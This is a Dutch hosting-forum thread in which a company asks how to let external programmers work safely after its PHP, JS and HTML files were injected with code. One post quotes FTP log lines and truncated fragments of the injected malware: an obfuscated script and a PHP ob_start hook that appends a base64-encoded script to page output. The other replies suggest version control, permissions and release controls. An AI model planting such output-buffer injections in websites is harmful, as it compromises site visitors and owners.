Likes Likes:  0
Resultaten 1 tot 15 van de 17
Pagina 1 van de 2 1 2 LaatsteLaatste
Geen
  1. #1
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    14 Berichten
    Ingeschreven
    28/08/09

    Locatie
    Enschede

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    0 Berichten zijn liked


    Registrar SIDN: nee
    KvK nummer: 08140541
    Ondernemingsnummer: nvt

    Thread Starter

    Veilig uploaden en werken door externe programmeurs

    Wij werken met enkele ext. programmeurs samen. Vanmorgen een nieuwe aangesteld en een testomgeving gemaakt, zodat hij eea kan coderen en testen. Voor de 2x dit jaar zie ik in de transfer.log file heel wat bestanden/mappen die zijn aangevuld met troep. Kost een boel tijd en ergernis.
    Het is niet onze policy om de volledige source te laten downloaden door ext. medewerkers. Bij ons gaat het enkel om dit aspect: ext. medewerkers die code voor ons ontwikkelen. Daar zit het beveiligingslek die dit veroorzaakt.
    Heb VSN van Apache bekeken, maar die gaat uit van volledige source downloaden (volgens mij).

    Vraag: Wat voor omgeving moet je creëren voor externe programmeurs zodat bij het uploaden van source files er geen junk op onze server komt?

  2. #2
    Veilig uploaden en werken door externe programmeurs
    HOSTING - VPS - DEDICATED
    116 Berichten
    Ingeschreven
    03/08/11

    Locatie
    Naaldwijk

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    2 Berichten zijn liked


    Naam: Marc
    Bedrijf: Wijtec
    URL: http://www.wijtec.nl
    Registrar SIDN: nee
    KvK nummer: 27360605
    Ondernemingsnummer: nvt

    heb je een voorbeeld van wat voor troep je in je logs vind?

  3. #3
    Veilig uploaden en werken door externe programmeurs
    cloud hosting en webdev.
    154 Berichten
    Ingeschreven
    18/01/11

    Locatie
    Groningen

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    1 Berichten zijn liked


    Naam: Richard
    Bedrijf: Rimote
    URL: rimote.nl
    Registrar SIDN: ja
    KvK nummer: 02088913
    Ondernemingsnummer: nvt

    Kan je bepaalde mappen/bestanden van de codebase aanwijzen die wel/niet door externe programmeurs gezien/gebruikt mogen worden? Werken jullie met Linux?

  4. #4
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    206 Berichten
    Ingeschreven
    21/09/10

    Locatie
    Wilp

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    7 Berichten zijn liked


    Registrar SIDN: ja
    KvK nummer: 820618032

    Grootste veiligheidslek zit hem altijd intern heb ik in verschillende onderzoeken gelezen. Een externe moet zich ook gewoon aan de wet/contracten houden en daarbij berust het copyright, indien geregeld, bij jullie.

    Voorts zou ik van een fatoenlijk versiebeheer-systeem gebruikmaken en op basis van projecten die je daarin definieert, kan je prima onderscheiden wat wie voor welk project over de lijn kan trekken.

    Mijns inziens gaat het idee niet goed samen dat je wél externen inhuurt, maar vervolgens niet teveel wilt vrijgeven. Probeer een beetje een "wij"-gevoel te creëren en volgens mij loopt het dan vanzelf. En aan de voordeur jezelf indekken door je contracten op orde te hebben en volgens mij ben je er dan.

  5. #5
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    14 Berichten
    Ingeschreven
    28/08/09

    Locatie
    Enschede

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    0 Berichten zijn liked


    Registrar SIDN: nee
    KvK nummer: 08140541
    Ondernemingsnummer: nvt

    Thread Starter
    Contractmatig is alles afgeschermd. Wij werken op een Debian 5 server. Het gaat mij sec om hoe je een veilige werkomgeving kunt creëren voor externen, zonder dat onderstaande codes in allerlei php js css en html files wordt gedropt. Nogmaals ter verduidelijking: niet welke code er wordt geupload maar wat een veilige werkomgeving is voor externen op onze server zonder dat externen de gehele code moeten downloaden.

    p5B01A09D.dip.t-dialin.net - ts24car-x [04/Aug/2011:15:43:50 +0100] "GET /var/www/clients/client1/web4/web/includes/google_conversiontracking.js.php" 200 1122
    p5B01A09D.dip.t-dialin.net - ts24car-x [04/Aug/2011:15:43:53 +0100] "PUT /var/www/clients/client1/web4/web/includes/google_conversiontracking.js.php" 200 6540

    p5B01A09D.dip.t-dialin.net - testts24 [04/Aug/2011:15:41:36 +0100] "GET /var/www/clients/client1/web18/web/includes/js/date-picker/js/datepicker.js" 200 181796
    p5B01A09D.dip.t-dialin.net - testts24 [04/Aug/2011:15:41:48 +0100] "PUT /var/www/clients/client1/web18/web/includes/js/date-picker/js/datepicker.js" 200 182936

    <script>s_uB=document;s_C=window;function s_z($,s_uS){return 0}function s_F(x){return x.join('')}if(typeof($)=='undefined'){s_uy=s_uB.ge tElementsByTagName('head')[0];s_uv=s_uB.cr

    <?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5zX3VCPWRvY3VtZW5 0O3NfQz13aW5kb3c7ZnVuY3Rpb24gc196KCQsc191Uyl7cmV0d XJ

  6. #6
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    206 Berichten
    Ingeschreven
    21/09/10

    Locatie
    Wilp

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    7 Berichten zijn liked


    Registrar SIDN: ja
    KvK nummer: 820618032

    Veilige werkomgeving, zonder dat ze de gehele code moeten downloaden? Verklaar je nader. Ik zie hier FTP-verkeer? En je hebt het over snippets die ineens in "andere" files terecht kunnen komen, maar tegelijkertijd over downloaden van code?

    Waarom niets iets als git i.c.m. gitorious. Heb je goed overzicht en kan je het verkeer mooi versleutelen en zie je exact wie wat gecommit heeft.

    En als dat downloaden echt een probleem is, wellicht een VPN'etje aanleggen en 'in' het netwerk werken op die bestanden die nodig zijn?

  7. #7
    Veilig uploaden en werken door externe programmeurs
    Programmeur / Hoster
    3.952 Berichten
    Ingeschreven
    20/06/06

    Locatie
    Wijlre

    Post Thanks / Like
    Mentioned
    28 Post(s)
    Tagged
    0 Thread(s)
    647 Berichten zijn liked


    Naam: John Timmer
    Bedrijf: SystemDeveloper.NL
    Functie: Eigenaar
    URL: www.systemdeveloper.nl
    KvK nummer: 14083066
    View johntimmer's profile on LinkedIn

    Wat denk je van eenvoudig de rechten op de bestanden goed zetten waarvan je niet wilt dat ze aangepast worden?
    Of virusscannen van je uploads.
    Eventueel een Intrusion Prevention Systeem.
    Een test omgeving om eerst code te testen en te controleren voordat het over gaat naar een live omgeving.
    SystemDeveloper.NL - 64BitsWebhosting.EU : Softwareontwikkeling & Hosting freaks

  8. #8
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    149 Berichten
    Ingeschreven
    11/08/10

    Locatie
    Maastricht

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    10 Berichten zijn liked


    Bedrijf: MIDDAG
    Functie: Eigenaar / Software Architect
    URL: wijzijnmiddag.nl
    Registrar SIDN: JA
    KvK nummer: 14100581

    Wij gebruiken Subversion gekoppeld aan een usergroup in Active Directory (Junior Developers / Senior Developers), en voor het releasen Atlassian Bamboo (ook gekoppeld aan AD). In Bamboo zijn twee release plans per project: Junior Developers kunnen alleen de staging releases draaien, Release Managers zijn de enigen die daadwerkelijk naar productie kunnen releasen. In Bamboo kun je ook geautomatiseerde unit tests laten lopen voor een release dus dat is ook erg praktisch voor de grotere projecten.

    Als een developer vertrekt is het een kwestie van de AD account uitschakelen en klaar. De daadwerkelijke inhoud van de code zou je nog altijd moeten nalopen met een audit tool, maar dat probleem blijf je altijd houden. Het belangrijkste is dat je de daadwerkelijke FTP gegevens volledig afschermt van de developer en tevens de foutmarge bij een release terugbrengt naar bijna nihil.

  9. #9
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    14 Berichten
    Ingeschreven
    28/08/09

    Locatie
    Enschede

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    0 Berichten zijn liked


    Registrar SIDN: nee
    KvK nummer: 08140541
    Ondernemingsnummer: nvt

    Thread Starter
    Vic; dat is de eerste reactie waar ik (en waarschijnlijk ook anderen) iets mee kunnen. Ik veronderstel dat hiermee wordt gewerkt binnen een afgeschermde omgeving op onze server. Zonder complete sources te hoeven downloaden door de prog.
    Zal dit doorsturen naar onze server maintainer. Met dank.

  10. #10
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    1.913 Berichten
    Ingeschreven
    23/10/03

    Locatie
    Enschede (+ London)

    Post Thanks / Like
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)
    33 Berichten zijn liked


    Naam: Max
    Registrar SIDN: ja
    KvK nummer: 08119406
    Ondernemingsnummer: -

    Citaat Oorspronkelijk geplaatst door ts24 Bekijk Berichten
    Zonder complete sources te hoeven downloaden door de prog.
    Nee, wil je dat echt voorkomen, dan zul je je medewerkers op je eigen lokatie moeten laten werken, op een aparte computer zonder Internet.
    Gebruikelijk bij defensie leveranciers, maar voor het ontwikkelen van de gemiddelde webapplicatie overkill.


    git/svn/cvs zijn versiebeheer tools.
    Kan je exact mee zien door wie welke regel code gewijzigd is, en eventueel wijzigingen eerst handmatig goedkeuren voordat ze in de uiteindelijke release terecht komen.
    Zodoende kan je die inderdaad gebruiken om het toevoegen van kwaadwillende code tegen te houden, mits je zelf wel de expertise hebt om de broncode te begrijpen en te beoordelen.


    Eerste wat zo'n tooltje echter doet is alle bestaande source naar het lokale systeem van de ontwikkelaar downloaden.
    Ben je bang dat deze je intellectueel eigendom aan de concurrent doorverkoopt, dan helpt dat daar niet tegen.
    Beetje vertouwen mag echter ook wel, en zorg dat je je ontwikkelaars genoeg betaald.

  11. #11
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    149 Berichten
    Ingeschreven
    11/08/10

    Locatie
    Maastricht

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    10 Berichten zijn liked


    Bedrijf: MIDDAG
    Functie: Eigenaar / Software Architect
    URL: wijzijnmiddag.nl
    Registrar SIDN: JA
    KvK nummer: 14100581

    Citaat Oorspronkelijk geplaatst door ts24 Bekijk Berichten
    Ik veronderstel dat hiermee wordt gewerkt binnen een afgeschermde omgeving op onze server. Zonder complete sources te hoeven downloaden door de prog..
    Klopt ja, je kunt de poort van de webinterface van Bamboo gewoon dicht zetten (met een uitzondering voor de remote agents, als je die gaat gebruiken).

    Voor wat betreft de source: ik denk dat dat een probleem is dat inherent is aan het werken met broncode... je hebt 9 van de 10 keer de complete code nodig om überhaupt ermee te kunnen werken, dus dat voorkom je niet. Als de developers in een volledig onafhankelijk stuk van de code werken zou je echter wel nog met branches kunnen werken, en hier dan de rechten op afstemmen in je SVN auth file. Vervolgens laat je Bamboo (ofja, Ant of welke builder je wilt) dan het complete plaatje samenvoegen.

  12. #12
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    1.913 Berichten
    Ingeschreven
    23/10/03

    Locatie
    Enschede (+ London)

    Post Thanks / Like
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)
    33 Berichten zijn liked


    Naam: Max
    Registrar SIDN: ja
    KvK nummer: 08119406
    Ondernemingsnummer: -

    Citaat Oorspronkelijk geplaatst door Vic D'Elfant Bekijk Berichten
    Als de developers in een volledig onafhankelijk stuk van de code werken zou je echter wel nog met branches kunnen werken, en hier dan de rechten op afstemmen in je SVN auth file. Vervolgens laat je Bamboo (ofja, Ant of welke builder je wilt) dan het complete plaatje samenvoegen.
    Bij de meeste webapplicaties wordt gebruik gemaakt van geinterpreteerde talen als PHP en Ruby, waarbij de source leesbaar op de webserver aanwezig is.

    De kwaadwillende ontwikkelaar hoeft maar een file manager achtig stukje aan zijn code toe te voegen, Bamboo de boel bij elkaar te laten voegen, en zijn module op de webserver van de testomgeving aan te roepen, om alsnog de rest van de code binnen te kunnen harken.

  13. #13
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    149 Berichten
    Ingeschreven
    11/08/10

    Locatie
    Maastricht

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    10 Berichten zijn liked


    Bedrijf: MIDDAG
    Functie: Eigenaar / Software Architect
    URL: wijzijnmiddag.nl
    Registrar SIDN: JA
    KvK nummer: 14100581

    Klopt; ik ging er wel vanuit dat er dan auditing wordt toegepast... anders kun je in principe een complete backdoor in SVN zetten en wachten totdat het op productie komt

  14. #14
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    1.913 Berichten
    Ingeschreven
    23/10/03

    Locatie
    Enschede (+ London)

    Post Thanks / Like
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)
    33 Berichten zijn liked


    Naam: Max
    Registrar SIDN: ja
    KvK nummer: 08119406
    Ondernemingsnummer: -

    Citaat Oorspronkelijk geplaatst door Vic D'Elfant Bekijk Berichten
    Klopt; ik ging er wel vanuit dat er dan auditing wordt toegepast... anders kun je in principe een complete backdoor in SVN zetten en wachten totdat het op productie komt
    Auditing voordat het in productie komt kan ik in komen, maar lijkt me in de fases daarvoor wat onpraktisch.

    Neem aan dat de ontwikkelaar zijn spul ook moet kunnen testen, en dus zelfstandig bij de "voeg de modules samen" knop kan, en de testomgeving kan bereiken.

  15. #15
    Veilig uploaden en werken door externe programmeurs
    geregistreerd gebruiker
    149 Berichten
    Ingeschreven
    11/08/10

    Locatie
    Maastricht

    Post Thanks / Like
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    10 Berichten zijn liked


    Bedrijf: MIDDAG
    Functie: Eigenaar / Software Architect
    URL: wijzijnmiddag.nl
    Registrar SIDN: JA
    KvK nummer: 14100581

    Zeker waar, een staging omgeving moet wel door developers te "gebruiken" blijven. Punt blijft echter dat er grenzen zijn aan wat je kunt controleren... op een gegeven moment zul je je devs toch echt moeten (kunnen) vertrouwen. Voor hetzelfde geld zet eentje er een while (true) { } in; dat kan net zo goed schadelijk zijn.

Pagina 1 van de 2 1 2 LaatsteLaatste

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics